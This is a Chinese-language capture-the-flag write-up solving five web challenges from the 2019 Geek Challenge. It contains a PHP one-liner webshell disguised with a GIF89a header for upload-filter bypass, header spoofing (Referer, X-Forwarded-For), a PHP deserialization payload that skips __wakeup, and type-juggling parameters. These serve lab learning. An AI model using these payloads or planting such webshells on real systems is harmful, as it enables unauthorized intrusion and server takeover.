[极客大挑战 2019]Knife 1
白给的shell  一句话木马 直接蚁剑或者菜刀连接  在根目录下得到flag 
[极客大挑战 2019]Http 1
打开环境查看源码发现Secret.php :  访问一下:  也就是这个网页不是来自https://www.Sycsecret.com的 抓包,添加referer头,referer头就是证明你从哪里点进来的。  又提示请使用Syclover这个浏览器 修改: 
需要我们从本地打开?
这里就要用到X-Forwarded-For这个扩展头
X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
X-Forwarded-For:127.0.0.1 或者X-Forwarded-For:localhost 
[极客大挑战 2019]Upload 1
上传php文件,报错了
 抓包修改文件类型: 
放包发现过滤了php:  经过测试php,php3,php4,php5都被过滤了 将后缀修改为phtml试一下: 还是报错了,但并不是后缀报错了,不能含有<? 
修改一句话木马: 我们尝试一下在文件头添加一个GIF89a?
GIF89a? <script language="php">eval($_REQUEST[WWW])</script>

 上传成功!蚁剑连接:  可以在根目录下得到flag
[极客大挑战 2019]PHP 1
 网站备份!!! 我们用御剑扫: 有一个压缩包:www.zip,打开index.php: 发现传参方式:  class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
存在魔法函数__wakeup()和 __destruct() 我们先来看如何绕过 __destruct():
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
username ===‘admin’,passwqord =100即可!!
_wakeup()函数是在执行unserialize()函数的时候,会被调用 执行后变量username 的值将变成guest ,当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
在class.php后加上这样几句代码:
$a = new Name('admin',100);
$s = serialize($a);
echo $s;
由于private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。  $username 和$password 均为私有变量
输出结果:  经过尝试\0 并不可行
而使用%00 的目的就是用于替代\0 :
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
将表示属性个数的数字修改为3就可以绕过__wakeup()函数: payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
 得到flag!
[极客大挑战 2019]BuyFlag 1
进入payflag界面:
 抓包:  我们必须是一个Cuit’s student,修改user的值为1:  需要输入密码  password要等于404并且不能为数字,那么构造:password=404a 另外购买flag need your 100000000 money 我尝试之后,报错了,字符太长了, 那么用科学计数法: payload:password=404a&money=1e10 成功: 
|